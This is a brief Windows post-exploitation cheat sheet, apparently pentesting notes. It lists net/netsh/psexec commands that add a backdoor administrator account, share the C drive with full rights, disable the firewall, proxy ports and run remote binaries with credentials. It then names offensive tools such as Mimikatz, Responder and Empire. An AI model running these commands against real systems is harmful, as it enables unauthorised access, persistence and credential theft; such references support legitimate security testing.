Bunch of usefull command :
net user hacker hacker /add - Creates a new local user named ‘hacker’ with the password ‘hacker’.
net localgroup administrators hacker /add - Adds the new user ‘hacker’ to the local administrators group.
net share nothing$=C:\ /grant:hacker,FULL /unlimited - Shares the C drive as a Windows share and grants the user ‘hacker’ full rights to access or modify anything on that drive.
netsh advfirewall set currentprofile state off - Disables the current profile's firewall.
netsh interface portproxy add v4tov4 listenport=3000 listenaddress=1.1.1.1 connectport=4000 connectaddress=2.2.2.2 - Sets up a port forwarding rule.
psexec /accepteula \\targetIP -u domain\user -p password -c -f \\smbIP\share\file.exe - Executes a file hosted on a remote system with specified credentials.
tasklist /S ip /v - Lists detailed information about the processes running on a remote system.
systeminfo /S ip /U domain\user /P password - Displays detailed configuration information about a computer and its operating system, including operating system configuration, security information, product ID, and hardware properties.
net use z: \\ip\share password /user:DOMAIN\user - Maps a network drive to the specified share using the provided credentials.
shutdown /m \\ip /r /t 0 /f - Forces a remote machine to restart immediately.
rundll32.exe user32.dll,LockWorkStation - Locks the workstation.
netsh advfirewall set allprofiles state off - Disables the firewall for all profiles.
Bunch of usefull windows app:
PingCastle: A tool designed for assessing the security of Active Directory infrastructures.
BloodHound: Utilizes graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.
Mimikatz: A tool to extract plaintexts passwords, hash, PIN code, and kerberos tickets from memory. Mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.
PowerShell Empire: A post-exploitation framework that allows the use of PowerShell to perform various tasks on Windows systems, similar to what Metasploit offers for network systems.
Nmap with Npcap: While Nmap is not Windows-specific, Npcap allows it to run on Windows. Nmap is used for network discovery and security auditing.
Wireshark with WinPcap: Wireshark is a network protocol analyzer, and WinPcap is the Windows version of the pcap library, which allows Wireshark to interface with network devices in Windows.
Sysinternals Suite: A suite of technical tools to help you manage, troubleshoot, and diagnose your Windows systems and applications.
Process Hacker: A tool that can be used for monitoring system resources, debugging software, and detecting malware.
Metasploit Framework (Windows Version): While also not exclusive to Windows, the Metasploit Framework has a Windows installer, and it's a powerful tool for developing and executing exploit code against a remote target machine.
Responder: A LLMNR, NBT-NS, and MDNS poisoner, designed to perform man-in-the-middle attacks on network environments.
Burp Suite: Primarily used for web application security testing, it has a Windows version and is extensively used for intercepting and modifying network traffic.